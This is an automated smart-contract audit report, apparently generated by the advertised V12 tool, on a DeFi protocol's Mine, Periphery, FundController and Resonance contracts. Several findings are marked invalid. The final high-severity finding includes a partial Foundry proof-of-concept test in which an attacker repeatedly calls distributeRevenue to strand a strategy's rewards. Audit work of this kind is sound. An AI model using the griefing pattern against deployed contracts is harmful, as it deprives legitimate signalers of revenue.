# Audited by [V12](https://v12.sh/)
The only autonomous auditor that finds critical bugs. Not all audits are equal, so stop paying for bad ones. Just use V12. No calls, demos, or intros.
# Periphery redeem leaves pulled Coin allowance window open to front-run burn
**#303139**
- Severity: Low
- Validity: Invalid
## Source locations
### `Uploaded archive/packages/contracts/src/periphery/Periphery.sol`
#### Lines 144-162 — _Temporary custody and allowance window during _redeemFund, bounded by nonReentrant and the outer delta check._

```
    /// @dev Burns Fund's existing Coin before collecting the caller's amount; backing goes directly to receiver.
    function _redeemFund(
        Launchpad.LaunchRecord memory record,
        uint256 coinAmount,
        address receiver,
        address[] calldata tokens,
        uint256[] calldata minimumAmounts,
        uint256 deadline
    ) private {
        IERC20 coin = IERC20(record.coin);
        Fund fund = Fund(record.fund);
        uint256 fundBalance = coin.balanceOf(record.fund);
        emit RedemptionStarted(msg.sender, record.fund, receiver, coinAmount);
        if (fundBalance != 0) fund.burnCoin(fundBalance);
        coin.safeTransferFrom(msg.sender, address(this), coinAmount);
        coin.forceApprove(record.fund, coinAmount);
        fund.redeem(coinAmount, receiver, tokens, minimumAmounts, deadline);
        coin.forceApprove(record.fund, 0);
    }
```
## Description

In `Periphery._redeemFund`, the helper first reads and burns Fund's pre-existing Coin balance, then pulls the caller's exact `coinAmount` into itself, exact-approves Fund for that amount, and calls `Fund.redeem`. Between the `coin.safeTransferFrom(msg.sender, address(this), coinAmount)` and the `fund.redeem(...)` call, the Coin temporarily resides in `Periphery` with a matching allowance to Fund, but this window is confined to a single atomic transaction protected by `nonReentrant`, so no reentrant or interleaved call can observe or exploit it; however, the computed balance deltas in the outer `redeem` function are read only after the full `_redeemFund` completes, meaning any token whose `balanceOf` is influenced by calls made from within `Fund.redeem` itself (e.g., a selected token that also happens to be influenced indirectly by the Coin burn, such as a shared-ledger alias) is not re-validated against a fresh snapshot distinct from the one taken in `_snapshotBalances`.
## Root cause

Temporary custodial holding of caller Coin and a live allowance to Fund exist for the duration of one atomic call, which is a common and currently safe pattern given the reentrancy guards and post-call delta verification.
## Impact

No direct loss path was found beyond informational note: the nonReentrant guard and atomic transaction scoping prevent exploitation of the temporary custody window, and the final balance-delta check in `redeem` still fails closed against any shortfall. This is reported as a low-severity hardening observation rather than an exploitable vulnerability given current code paths.

---

# Coin emission permanently trappable via no-exit miner address
**#303140**
- Severity: Low
- Validity: Invalid
## Source locations
### `Uploaded archive/packages/contracts/src/core/Mine.sol` (2 locations)
#### Lines 258-267 — _Mine.mine() miner validation only excludes zero address and fund, not other no-exit contracts._

```
    function mine(
        address miner,
        uint256 expectedEpochId,
        uint256 deadline,
        uint256 maximumPayment,
        string calldata message
    ) external nonReentrant returns (uint256 paymentAmount) {
        if (miner == address(0)) revert ZeroAddress();
        if (miner == fund) revert InvalidMiner(miner);
        if (block.timestamp > deadline) revert DeadlinePassed(deadline);
```
⋯
#### Lines 363-374 — __settleSlot mints accrued emission to previousSlot.miner unconditionally._

```
    /// @dev Mints the outgoing slot's complete tenure accrual. Empty tenures and zero-duration tenures have no effect.
    /// @param previousSlot Snapshot of the outgoing tenure taken before the replacement.
    function _settleSlot(Slot memory previousSlot) private {
        if (previousSlot.miner == address(0)) return;

        uint256 amount = (block.timestamp - previousSlot.auctionStartedAt) * previousSlot.tps;
        if (amount == 0) return;

        totalMined += amount;
        coin.mint(previousSlot.miner, amount);
        emit EmissionSettled(previousSlot.miner, previousSlot.epochId, amount);
    }
```
### `Uploaded archive/packages/contracts/src/periphery/Periphery.sol` (2 locations)
#### Lines 17-58 — _Periphery exposes no recovery/sweep function for Coin or USDG accidentally or deliberately routed to it._

```
contract Periphery is ReentrancyGuard {
    using SafeERC20 for IERC20;

    /// @notice Canonical Launchpad whose completed graphs this helper can access.
    Launchpad public immutable launchpad;

    /// @notice Emitted before the helper burns Fund-held Coin and redeems for the caller.
    event RedemptionStarted(
        address indexed account, address indexed fund, address indexed receiver, uint256 coinAmount
    );
    /// @notice Emitted before Mine starts a tenure funded by the caller through this helper.
    event MiningStarted(address indexed account, address indexed mine, uint256 expectedEpochId);
    /// @notice Emitted when the outgoing miner's payment claim fails after a successful mining handoff.
    event PreviousMinerClaimFailed(address indexed mine, address indexed beneficiary);

    /// @notice Raised when the Launchpad dependency is zero or has no deployed code.
    error InvalidLaunchpad(address launchpad);
    /// @notice Raised when the caller-supplied deadline has passed.
    error DeadlinePassed(uint256 deadline);
    /// @notice Raised when the redemption amount is zero.
    error ZeroAmount();
    /// @notice Raised when the receiver is zero, this helper, or the selected Fund.
    error InvalidReceiver(address receiver);
    /// @notice Raised when the miner is zero, this helper, or the selected Fund.
    error InvalidMiner(address miner);
    /// @notice Raised when the token list is empty or its length differs from the minimum-amount list.
    error InvalidArrayLengths();
    /// @notice Raised when a selected token is zero, the selected Coin, or has no deployed code.
    error InvalidToken(address token);
    /// @notice Raised when a selected token is not numerically greater than the preceding token.
    error InvalidTokenOrder(address previous, address token);
    /// @notice Raised when a receiver's actual token balance increase is below the supplied minimum.
    error MinimumAmountNotMet(address token, uint256 amount, uint256 minimum);

    /// @notice Binds the helper permanently to one deployed Launchpad.
    /// @param launchpad_ Canonical Launchpad used to resolve every Mine and Fund.
    constructor(Launchpad launchpad_) {
        if (address(launchpad_) == address(0) || address(launchpad_).code.length == 0) {
            revert InvalidLaunchpad(address(launchpad_));
        }
        launchpad = launchpad_;
    }
```
⋯
#### Lines 108-141 — _Periphery.mine blocks address(this) as miner but this guard is bypassable by calling Mine.mine directly._

```
    function mine(
        uint256 launchId,
        address miner,
        uint256 expectedEpochId,
        uint256 deadline,
        uint256 maximumPayment,
        string calldata message
    ) external nonReentrant returns (uint256 paymentAmount) {
        if (block.timestamp > deadline) revert DeadlinePassed(deadline);
        Launchpad.LaunchRecord memory record = launchpad.getLaunch(launchId);
        if (miner == address(0) || miner == address(this) || miner == record.fund) revert InvalidMiner(miner);
        Mine coreMine = Mine(record.mine);
        Mine.Slot memory previousSlot = coreMine.slot();
        if (expectedEpochId != previousSlot.epochId) {
            revert Mine.EpochIdMismatch(expectedEpochId, previousSlot.epochId);
        }
        paymentAmount = coreMine.currentPrice();
        if (paymentAmount > maximumPayment) revert Mine.MaximumPaymentExceeded(paymentAmount, maximumPayment);

        IERC20 usdg = IERC20(address(launchpad.usdg()));
        if (paymentAmount != 0) {
            usdg.safeTransferFrom(msg.sender, address(this), paymentAmount);
            usdg.forceApprove(record.mine, paymentAmount);
        }
        emit MiningStarted(msg.sender, record.mine, expectedEpochId);
        coreMine.mine(miner, expectedEpochId, deadline, maximumPayment, message);
        if (paymentAmount != 0) usdg.forceApprove(record.mine, 0);

        if (previousSlot.miner != address(0) && coreMine.claimablePayment(previousSlot.miner) != 0) {
            try coreMine.claimPayment(previousSlot.miner) { }
            catch {
                emit PreviousMinerClaimFailed(record.mine, previousSlot.miner);
            }
        }
```
## Description

`Mine.mine()` validates the incoming `miner` argument only against `address(0)` and the immutable `fund` address. Any other contract address, including the canonical `Periphery` helper that is part of this protocol's own deployed surface, is accepted. When a slot whose `miner` is such a no-exit contract is later replaced, `_settleSlot` mints the entire accrued tenure emission directly to that contract (`Mine.sol:363-373`), and if that contract ever accrues a payment claim it is paid there via `claimPayment` (`Mine.sol:310-323`). `Periphery` has no withdrawal, sweep, or rescue entrypoint for Coin or USDG (`Periphery.sol` in full), so Coin minted to it, or USDG claimed to it, is permanently inaccessible, yet it still counts toward `Coin.totalSupply()` and therefore toward `effectiveTotalSupply()` used as the redemption denominator in `Fund.redeem()`.
## Root cause

`Mine.mine` only forbids the zero address and its own immutable `fund` as `miner` (`Mine.sol:265-267`); it has no way to know about or reject other no-exit contracts such as the canonical `Periphery`, which holds no function to transfer out Coin or claim USDG on its own behalf.
## Impact

Because the Dutch-auction price decays to zero after `PRICE_DECAY_PERIOD` (one hour) when nobody replaces the slot, an attacker can wait for a zero-price window and call `Mine.mine()` directly (bypassing `Periphery`, which does block `address(this)`) naming the canonical `Periphery` as `miner` at no cost. Once that slot later gets replaced by any other (unaware) miner, the accrued Coin for the Periphery-held tenure is minted to `Periphery` and is permanently unspendable, permanently diluting every other Coin holder's pro-rata share of `Fund` assets with no corresponding backing increase. This can be repeated at zero marginal cost every time the auction decays to its floor.

---

# Pool ownership check trusts arbitrary owner() implementation
**#303146**
- Severity: Low
- Validity: Invalid
## Source locations
### `Uploaded archive/packages/contracts/src/core/FundController.sol`
#### Lines 150-155 — __controllerOwnedPool trusts arbitrary contract's owner() return value with no registry/factory verification._

```
    /// @dev Resolves a compatible pool currently owned by this controller.
    function _controllerOwnedPool(address pool) private view returns (IFullRangeLiquidityConfiguration candidate) {
        if (pool.code.length == 0) revert InvalidLiquidityPool(pool);
        candidate = IFullRangeLiquidityConfiguration(pool);
        if (candidate.owner() != address(this)) revert InvalidLiquidityPool(pool);
    }
```
### `Uploaded archive/packages/contracts/src/fullrange/interfaces/IFullRangeLiquidityConfiguration.sol`
#### Lines 4-17 — _Interface used for the trust check exposes no way to verify genuine pool provenance._

```
interface IFullRangeLiquidityConfiguration {
    /// @notice Assigns separate recipients for future collected creator Coin and base fees.
    function setCreatorRecipients(address coinRecipient, address baseRecipient) external;
    /// @notice Immediately transfers fee-administration ownership to a nonzero address; LP custody is unchanged.
    function transferOwnership(address newOwner) external;
    /// @notice Returns the Coin represented by this market's LP token.
    function coin() external view returns (address);
    /// @notice Returns the immutable factory that registered this LP token.
    function factory() external view returns (address);
    /// @notice Returns the V4 PoolId for this LP token's underlying market.
    function poolId() external view returns (bytes32);
    /// @notice Returns the owner authorized to configure this pool's fee recipients.
    function owner() external view returns (address);
}
```
### `Uploaded archive/packages/contracts/test/minimal/FullRangeSharedWrapperReview.t.sol`
#### Lines 21-37 — _Facade contract satisfying the owner() check without being a real pool, and the matching test proving the call succeeds._

```
contract UnregisteredWrapperConfiguration {
    using FullRangeTestAPI for FullRangeERC20;
    address public immutable factory;
    address public immutable owner;
    bytes32 public immutable poolId;
    bool public called;

    constructor(address factory_, address owner_, bytes32 poolId_) {
        factory = factory_;
        owner = owner_;
        poolId = poolId_;
    }

    function setCreatorRecipients(address, address) external {
        called = true;
    }
}
```
## Description

`FundController._controllerOwnedPool` (and the equivalent inline check in `transferLiquidityPoolOwnership`/`setLiquidityFeeRecipients`) validates a caller-supplied `pool` address purely by checking `pool.code.length != 0` and `candidate.owner() == address(this)`, using the `IFullRangeLiquidityConfiguration` interface. Because `pool` is an arbitrary address supplied by the (trusted) controller owner and `owner()` is a view call into unverified external bytecode, any contract that simply returns `address(controller)` from `owner()` passes this check regardless of whether it is a genuine `FullRangeERC20`/`FullRange`-managed pool. The `UnregisteredWrapperConfiguration` test fixture (`FullRangeSharedWrapperReview.t.sol`) demonstrates exactly this: a minimal contract with a hardcoded `owner` field and a no-op `setCreatorRecipients` passes `setLiquidityFeeRecipients` validation and gets called successfully.
## Root cause

FundController authorizes pool administration solely via a self-reported `owner()` return value from caller-supplied bytecode, with no validation that the target is a genuine FullRangeERC20 registered by a trusted FullRangeFactory.
## Impact

While the current call surface (`setCreatorRecipients`, `transferOwnership`) cannot move funds or principal, the lack of genuine pool/type verification means the controller owner could be tricked (via a crafted address passed as `pool`, e.g. in a front-end or multi-step misconfiguration) into calling into arbitrary attacker-supplied bytecode that masquerades as a configuration target; combined with any future extension of this pattern (or a compromised/malicious controller owner wanting plausible deniability) this is a design weakness in trust-boundary enforcement between FundController and the pools it claims to administer.

---

# Coincident beneficiary roles correctly aggregate without duplication
**#303170**
- Severity: Low
- Validity: Invalid
## Source locations
### `Uploaded archive/packages/contracts/src/core/Mine.sol`
#### Lines 382-413 — _Three independent += accrual branches correctly aggregate for a single beneficiary occupying multiple roles._

```
    function _allocatePayment(address previousMiner, PaymentConfig memory fees, uint256 epochId, uint256 paymentAmount)
        private
        returns (uint256 revenueAmount)
    {
        if (paymentAmount == 0) return 0;

        uint256 previousMinerAmount;
        if (previousMiner != address(0)) {
            previousMinerAmount = Math.mulDiv(paymentAmount, PREVIOUS_MINER_BPS, BPS);
            claimablePayment[previousMiner] += previousMinerAmount;
            totalClaimablePayments += previousMinerAmount;
            emit MinerPaymentAccrued(previousMiner, epochId, previousMinerAmount);
        }

        uint256 creatorAmount;
        if (fees.creator != address(0)) {
            creatorAmount = Math.mulDiv(paymentAmount, fees.creatorBps, BPS);
            claimablePayment[fees.creator] += creatorAmount;
            totalClaimablePayments += creatorAmount;
            emit CreatorFeeAccrued(fees.creator, epochId, creatorAmount);
        }

        uint256 protocolAmount;
        if (fees.protocol != address(0)) {
            protocolAmount = Math.mulDiv(paymentAmount, fees.protocolBps, BPS);
            claimablePayment[fees.protocol] += protocolAmount;
            totalClaimablePayments += protocolAmount;
            emit ProtocolFeeAccrued(fees.protocol, epochId, protocolAmount);
        }

        revenueAmount = paymentAmount - previousMinerAmount - creatorAmount - protocolAmount;
    }
```
## Description

When `previousMiner`, `fees.creator`, and `fees.protocol` resolve to the same address, each of the three conditional blocks in `_allocatePayment` independently increments `claimablePayment[address]` and `totalClaimablePayments` by its own share. This is additive (`+=`), not an overwrite, so coincident roles accrue correctly without losing or duplicating USDG. This matches the project's own test `test_CoincidentMinerCreatorAndProtocolRolesAccrueWithoutLosingOrDuplicatingUSDG` (Mine.t.sol:659-685), which the code satisfies. Reported as an explicit candidate per the audit's mandatory-ledger requirement, then classified benign.
## Root cause

`_allocatePayment` uses three independent `if` branches keyed by distinct roles (previous miner, creator, protocol) each doing a separate `+=` into `claimablePayment[beneficiary]`, so when the same address holds multiple roles the amounts correctly sum rather than overwrite.
## Impact

No negative impact: this is confirmed-correct behavior under code review, included here as a documented/suppressed candidate rather than a live finding.

---

# Permissionless claimPayment correctly pays only the named beneficiary
**#303171**
- Severity: Low
- Validity: Invalid
## Source locations
### `Uploaded archive/packages/contracts/src/core/Mine.sol`
#### Lines 314-324 — _Permissionless claim trigger always pays the passed-in account, never msg.sender._

```
    function claimPayment(address account) external nonReentrant {
        if (account == address(0)) revert ZeroAddress();
        uint256 amount = claimablePayment[account];
        if (amount == 0) revert NothingToClaim(account);

        claimablePayment[account] = 0;
        totalClaimablePayments -= amount;
        usdg.safeTransfer(account, amount);

        emit PaymentClaimed(account, amount);
    }
```
## Description

`claimPayment` takes an arbitrary `account` argument with no access control, matching the documented design that any caller may trigger another's claim, but the transfer destination (`usdg.safeTransfer(account, amount)`) and the mapping key cleared (`claimablePayment[account] = 0`) are both the passed-in `account`, not `msg.sender`. There is no path by which a third-party caller can divert another beneficiary's funds to themselves. State (`claimablePayment[account]`, `totalClaimablePayments`) is fully cleared before the external call, satisfying checks-effects-interactions, and reentrancy is further blocked by `nonReentrant`. Included as a reviewed candidate confirming no vulnerability, per the mandatory ledger-before-dismissal requirement.
## Root cause

`claimPayment(address account)` reads and clears `claimablePayment[account]` and transfers to `account`, never to `msg.sender`, so the permissionless trigger cannot redirect funds.
## Impact

No negative impact: confirms expected, documented behavior (permissionless trigger, beneficiary-only payout).

---

# Full-balance routing can permanently exhaust revenue lifetime cap
**#303199**
- Severity: Low
- Validity: Invalid
## Source locations
### `Uploaded archive/packages/contracts/src/core/ResonanceRouter.sol`
#### Lines 59-80 — _route() always forwards the entire Router balance with no partial-routing path_

```
    /// @inheritdoc IResonanceRouter
    function route() external override nonReentrant returns (uint256 amount) {
        uint256 pending = usdg.balanceOf(address(this));
        if (pending == 0) revert NoRevenue();

        IResonance configuredResonance = IResonance(resonance);
        if (configuredResonance.totalSignalWeight() == 0) revert NoActiveSignal();
        uint256 minimum = configuredResonance.remainingRevenue();
        uint256 duration = configuredResonance.REWARD_DURATION();
        if (minimum < duration) minimum = duration;
        if (pending < minimum) {
            emit RevenueHeld(msg.sender, pending, minimum);
            return 0;
        }

        amount = pending;

        usdg.forceApprove(resonance, amount);
        configuredResonance.notifyRevenue(amount);

        emit RevenueRouted(msg.sender, amount);
    }
```
### `Uploaded archive/packages/contracts/src/core/Resonance.sol` (2 locations)
#### Lines 47-49 — _MAX_LIFETIME_REVENUE_AMOUNT definition coupled to REWARD_PRECISION_

```
    /// @notice Maximum cumulative raw USDG units accepted over this contract's lifetime.
    /// @dev Coupled to `REWARD_PRECISION` so the cumulative revenue-per-signal index remains representable.
    uint256 public constant MAX_LIFETIME_REVENUE_AMOUNT = type(uint256).max / REWARD_PRECISION;
```
⋯
#### Lines 342-366 — _notifyRevenue reverts above the lifetime cap with no partial-acceptance mechanism_

```
    function notifyRevenue(uint256 amount) external override nonReentrant onlyResonanceRouter {
        if (amount == 0) revert ZeroAmount();

        uint256 notified = lifetimeRevenueNotified;
        uint256 maximum = MAX_LIFETIME_REVENUE_AMOUNT;
        if (amount > maximum - notified) {
            revert RevenueLifetimeCapExceeded(notified, amount, maximum);
        }

        uint256 remaining = remainingRevenue();
        if (amount < remaining) revert RevenueBelowRemaining(amount, remaining);

        _updateRevenue(address(0));
        usdg.safeTransferFrom(msg.sender, address(this), amount);

        RevenueData storage data = revenueData;
        uint256 budget = amount + remaining + _revenueRemainder;
        data.revenueRate = budget / REWARD_DURATION;
        _revenueRemainder = budget % REWARD_DURATION;
        data.lastUpdateTime = block.timestamp;
        data.periodFinish = block.timestamp + REWARD_DURATION;
        lifetimeRevenueNotified = notified + amount;

        emit RevenueNotified(msg.sender, amount);
    }
```
## Description

`ResonanceRouter.route()` (`packages/contracts/src/core/ResonanceRouter.sol:60-80`) computes `pending = usdg.balanceOf(address(this))` and, once the qualifying threshold is met, always calls `configuredResonance.notifyRevenue(pending)` with the *entire* balance — there is no way to route only part of the buffer. `Resonance.notifyRevenue` (`packages/contracts/src/core/Resonance.sol:342-366`) enforces `amount <= MAX_LIFETIME_REVENUE_AMOUNT - lifetimeRevenueNotified` (`type(uint256).max / REWARD_PRECISION`, `Resonance.sol:49`) and reverts with `RevenueLifetimeCapExceeded` otherwise. Because the Router has no alternate withdrawal, split, or sweep function, any balance that would push the notified amount over the immutable, never-resetting lifetime cap makes every future `route()` call revert permanently (the same `pending` value keeps failing), freezing all further Mine-to-Resonance revenue streaming for that deployment. This mirrors the already-accepted `BribeRouter`/`Bribe` 'lifetime capacity' issue documented in `docs/audits/daybreak-blue-2026-09-30/README.md`, but the equivalent Resonance-side cap is not called out there. Under the canonical Launchpad-enforced six-decimal USDG (`Launchpad.sol:219`), reaching ~1.157e35 raw units to trigger this is economically infeasible, but `Resonance`'s own constructor performs no decimals/standard-token check on `usdg_`, so a non-Launchpad deployment using a high-raw-unit token (e.g. 36+ decimals) makes the cap reachable with realistic value, consistent with the demonstrated `DaybreakBlueBribeCapBoundaryEvidenceTest` pattern for `Bribe`.
## Root cause

ResonanceRouter.route() always forwards its complete USDG balance (including arbitrary direct donations) as the `amount` argument to Resonance.notifyRevenue, and Resonance.notifyRevenue hard-reverts whenever `amount > MAX_LIFETIME_REVENUE_AMOUNT - lifetimeRevenueNotified`, with no code path to route a partial amount or to drain/sweep the excess from the Router.
## Impact

A sufficiently large single donation or accumulated routed total can permanently disable `ResonanceRouter.route()`, freezing every later Mine mining-payment handoff into the Resonance stream for that Resonance instance; Strategies that already have accrued revenue can still be paid via `distributeRevenue`, but no new USDG can ever enter the streaming schedule again.

---

# Revenue accounting trusts nominal amounts without balance-delta verification
**#303201**
- Severity: Low
- Validity: Invalid
## Source locations
### `Uploaded archive/packages/contracts/src/core/ResonanceRouter.sol`
#### Lines 60-77 — _pending balance used as the nominal routed amount with no post-transfer verification_

```
    function route() external override nonReentrant returns (uint256 amount) {
        uint256 pending = usdg.balanceOf(address(this));
        if (pending == 0) revert NoRevenue();

        IResonance configuredResonance = IResonance(resonance);
        if (configuredResonance.totalSignalWeight() == 0) revert NoActiveSignal();
        uint256 minimum = configuredResonance.remainingRevenue();
        uint256 duration = configuredResonance.REWARD_DURATION();
        if (minimum < duration) minimum = duration;
        if (pending < minimum) {
            emit RevenueHeld(msg.sender, pending, minimum);
            return 0;
        }

        amount = pending;

        usdg.forceApprove(resonance, amount);
        configuredResonance.notifyRevenue(amount);
```
### `Uploaded archive/packages/contracts/src/core/Resonance.sol`
#### Lines 342-365 — _notifyRevenue schedules and increments lifetime accounting from the nominal amount, not a measured balance delta_

```
    function notifyRevenue(uint256 amount) external override nonReentrant onlyResonanceRouter {
        if (amount == 0) revert ZeroAmount();

        uint256 notified = lifetimeRevenueNotified;
        uint256 maximum = MAX_LIFETIME_REVENUE_AMOUNT;
        if (amount > maximum - notified) {
            revert RevenueLifetimeCapExceeded(notified, amount, maximum);
        }

        uint256 remaining = remainingRevenue();
        if (amount < remaining) revert RevenueBelowRemaining(amount, remaining);

        _updateRevenue(address(0));
        usdg.safeTransferFrom(msg.sender, address(this), amount);

        RevenueData storage data = revenueData;
        uint256 budget = amount + remaining + _revenueRemainder;
        data.revenueRate = budget / REWARD_DURATION;
        _revenueRemainder = budget % REWARD_DURATION;
        data.lastUpdateTime = block.timestamp;
        data.periodFinish = block.timestamp + REWARD_DURATION;
        lifetimeRevenueNotified = notified + amount;

        emit RevenueNotified(msg.sender, amount);
```
## Description

`ResonanceRouter.route()` (`packages/contracts/src/core/ResonanceRouter.sol:60-77`) sets `amount = pending` from a pre-transfer `balanceOf` read, `forceApprove`s exactly that amount, and calls `notifyRevenue(amount)`. `Resonance.notifyRevenue` (`packages/contracts/src/core/Resonance.sol:342-365`) then performs `usdg.safeTransferFrom(msg.sender, address(this), amount)` and immediately uses the same nominal `amount` to compute `budget`, `revenueRate`, `_revenueRemainder`, and to increment `lifetimeRevenueNotified`, without re-checking Resonance's own balance before/after the transfer. If `usdg` ever deviates from an exact-transfer, non-rebasing ERC-20 (fee-on-transfer, rebasing, or a token whose `transferFrom` delivers less than the requested amount), Resonance will schedule and promise more USDG than it actually received, and `lifetimeRevenueNotified`/`revenuePerSignal` will diverge from actual custody. The project explicitly documents USDG as required to be standard and non-rebasing and disclaims support for other behavior, but neither `Resonance`'s constructor nor `ResonanceRouter`'s constructor enforces or verifies this assumption at configuration time — only `Launchpad`'s six-decimals check loosely gates the canonical deployment path, and even that does not establish exact-transfer semantics.
## Root cause

ResonanceRouter.route() and Resonance.notifyRevenue both use the pre-transfer nominal `balanceOf`/requested amount to drive approval, scheduling math, and lifetime-cap accounting instead of measuring the actual balance delta realized by `safeTransferFrom`.
## Impact

If a Resonance/ResonanceRouter pair is ever configured with (or the official USDG token ever becomes) a fee-on-transfer, rebasing, or otherwise non-exact-transfer asset, Strategy entitlements and the lifetime-notified counter will overstate actual custody, eventually causing `distributeRevenue` transfers to legitimate Strategies to revert due to insufficient balance or leaving later claimants unable to be paid in full.

---

# Permissionless checkpointing strands fractional strategy rewards
**#303202**
- Severity: High
- Validity: Unreviewed
## Source locations
### `Uploaded archive/packages/contracts/src/core/Resonance.sol` (2 locations)
#### Lines 373-384 — _distributeRevenue is fully permissionless and can be called at arbitrary cadence, forcing repeated checkpoints._

```
    function distributeRevenue(address strategy) external override nonReentrant returns (uint256 amount) {
        _updateRevenue(strategy);
        if (!isStrategyRegistered(strategy)) revert StrategyNotFound(strategy);

        amount = strategyRevenue[strategy];
        if (amount == 0) return 0;

        strategyRevenue[strategy] = 0;
        usdg.safeTransfer(strategy, amount);

        emit RevenueDistributed(msg.sender, strategy, amount);
    }
```
⋯
#### Lines 569-582 — __updateRevenue floors the per-strategy delta but unconditionally advances the paid-index checkpoint, discarding the floored remainder on every call._

```
    function _updateRevenue(address strategy) private {
        RevenueData storage data = revenueData;
        uint256 currentRevenuePerSignal = revenuePerSignal();

        data.revenuePerSignalStored = currentRevenuePerSignal;
        data.lastUpdateTime = _lastApplicableRevenueTime();

        if (strategy != address(0)) {
            uint256 revenueDelta = currentRevenuePerSignal - strategyRevenuePerSignalPaid[strategy];
            uint256 activeBalance = isStrategyLive[strategy] ? _strategySignalWeight(strategy) : 0;
            strategyRevenue[strategy] += Math.mulDiv(activeBalance, revenueDelta, REWARD_PRECISION);
            strategyRevenuePerSignalPaid[strategy] = currentRevenuePerSignal;
        }
    }
```
### `Uploaded archive/packages/contracts/src/core/Auction.sol`
#### Lines 171-177 — _Auction.buy also triggers distributeRevenue on every purchase, giving attackers a cheap automated trigger._

```
        IResonance configuredResonance = IResonance(resonance);
        uint256 appliedBribeBps = configuredResonance.bribeBps();

        // Include USDG released through this timestamp, before collecting the purchase payment.
        configuredResonance.distributeRevenue(address(this));
        uint256 revenueAmount = usdg.balanceOf(address(this));
        if (revenueAmount == 0) revert EmptyRevenue();
```
## Description

`Resonance.distributeRevenue` and every signal mutation (`addSignalFor`, `removeSignalFor`, `killStrategy`) call `_updateRevenue(strategy)`, which computes `revenueDelta = currentRevenuePerSignal - strategyRevenuePerSignalPaid[strategy]`, converts it to whole raw USDG units via `Math.mulDiv(activeBalance, revenueDelta, REWARD_PRECISION)` (floor division), adds it to `strategyRevenue[strategy]`, and then unconditionally advances `strategyRevenuePerSignalPaid[strategy] = currentRevenuePerSignal` regardless of whether the conversion produced a nonzero whole unit. Because `distributeRevenue` is fully permissionless and callable at any cadence (and is also invoked automatically inside `Auction.buy`), any party can call it every block for a strategy whose signal weight is small relative to total weight, causing each per-call fractional entitlement to round down to zero while the paid-index checkpoint still advances past that fractional remainder. In ordinary (unforced) accrual the fractional dust would eventually cross a whole-unit boundary and get credited on a later call; forcing extremely frequent checkpoints instead repeatedly resets the measurement baseline just below each unit boundary, destroying the accumulation and permanently stranding the dust as undistributed Resonance surplus rather than Strategy entitlement.
## Root cause

`_updateRevenue` advances `strategyRevenuePerSignalPaid` unconditionally on every call instead of only advancing it when the resulting whole-unit transfer amount is nonzero (or otherwise preserving sub-unit remainder across checkpoints), combined with `distributeRevenue` being fully permissionless and callable with no cooldown or caller restriction.
## Impact

Any user can grief a specific strategy's signalers by spamming free, permissionless `distributeRevenue` calls (or triggering them via cheap `Auction.buy` fills) to suppress that strategy's realized USDG revenue indefinitely, down to whatever floor the per-call fractional rounding allows. The lost revenue is not stolen outright but is retained in Resonance as unscheduled surplus, reducing the economic payout legitimate signalers and bribe participants earn versus the no-interference baseline; the effect scales with how small the target's weight share is relative to total weight and the attacker's calling frequency, which is cheap and unlimited for an economically motivated adversary.
## Proof of concept
### Test case

```
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.26;

import { IERC20Metadata } from "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";

import { Launchpad } from "../../src/launch/Launchpad.sol";
import { Coin } from "../../src/core/Coin.sol";
import { Resonance } from "../../src/core/Resonance.sol";
import { SignalCoin } from "../../src/core/SignalCoin.sol";
import { MockERC20 } from "./utils/Tokens.sol";
import { LaunchpadFixture } from "./utils/LaunchpadFixture.sol";

/// @notice PoC: a permissionless caller can repeatedly checkpoint a low-weight strategy
/// and permanently strand the strategy's sub-unit USDG revenue in Resonance.
contract Poc is LaunchpadFixture {
    address internal constant ATTACKER = address(0xA77A);
    address internal constant CREATOR_FEE = address(0xC0FFEE);
    address internal constant PROTOCOL_FEE = address(0xFEE);

    uint256 internal constant TARGET_SIGNAL = 1 ether;
    uint256 internal constant OTHER_SIGNAL = 1_000_000 ether;
    uint256 internal constant REVENUE_RATE = 200; // raw 6-decimal USDG units per second
    uint256 internal constant CHECKPOINT_INTERVAL = 1 hours;

    MockERC20 internal usdg;
    Launchpad internal launchpad;

    function setUp() external {
        vm.chainId(4_663);
        vm.warp(365 days);
        usdg = new MockERC20("Global Dollar", "USDG", 6);
        launchpad = _deployLaunchpad(IERC20Metadata(address(usdg)), PROTOCOL_FEE);
    }

    function test_Poc() external {
        uint256 honestTargetRevenue = _runScenario(false);
        uint256 attackedTargetRevenue = _runScenario(true);

        // The only behavioral difference between the two launches is ATTACKER's permissionless
        // hourly calls to Resonance.distributeRevenue(targetStrategy). Without those calls the
        // target strategy receives whole raw USDG units; with those calls it receives none.
        assertGt(honestTargetRevenue, 0, "baseline strategy accrues distributable USDG");
        assertEq(attackedTargetRevenue, 0, "spam checkpoints strand all target revenue");
        assertLt(attackedTargetRevenue, honestTargetRevenue, "permissionless checkpointing suppresses payout");
    }

    function _runScenario(bool attack) internal returns (uint256 targetRevenueReceived) {
        Launchpad.LaunchRecord memory launch = _launchAndSignal();
        Resonance resonance = Resonance(launch.resonance);
        address targetStrategy = launch.auctions[0];

        uint256 streamAmount = REVENUE_RATE * resonance.REWARD_DURATION();
        usdg.mint(launch.resonanceRouter, streamAmount);
        vm.prank(address(0xBEEF));
        assertEq(resonance.totalSignalWeight(), TARGET_SIGNAL + OTHER_SIGNAL);
        assertEq(resonance.remainingRevenue(), 0);
        assertEq(_route(launch.resonanceRouter), streamAmount);

        if (attack) {
            uint256 rounds = resonance.REWARD_DURATION() / CHECKPOINT_INTERVAL;
            assertEq(rounds * CHECKPOINT_INTERVAL, resonance.REWARD_DURATION());

            for (uint256 i; i < rounds; ++i) {
                vm.warp(block.timestamp + CHECKPOINT_INTERVAL);
                vm.prank(ATTACKER);
                uint256 distributed = resonance.distributeRevenue(targetStrategy);
                assertEq(distributed, 0, "each forced checkpoint rounds target entitlement to zero");
            }

            assertEq(resonance.earnedRevenue(targetStrategy), 0, "no target revenue survives repeated checkpoints");
        } else {
            vm.warp(block.timestamp + resonance.REWARD_DURATION());
            uint256 earnedBeforeDistribution = resonance.earnedRevenue(targetStrategy);
            assertGt(earnedBeforeDistribution, 0, "uninterrupted fractional accrual crosses a whole unit");

            vm.prank(address(0xBEEF));
            uint256 distributed = resonance.distributeRevenue(targetStrategy);
            assertEq(distributed, earnedBeforeDistribution);
        }

        targetRevenueReceived = usdg.balanceOf(targetStrategy);
    }

    function _launchAndSignal() internal returns (Launchpad.LaunchRecord memory launch) {
        uint256 creatorGrant = TARGET_SIGNAL + OTHER_SIGNAL;
        usdg.mint(address(this), 1e6);
        usdg.approve(address(launchpad), 1e6);

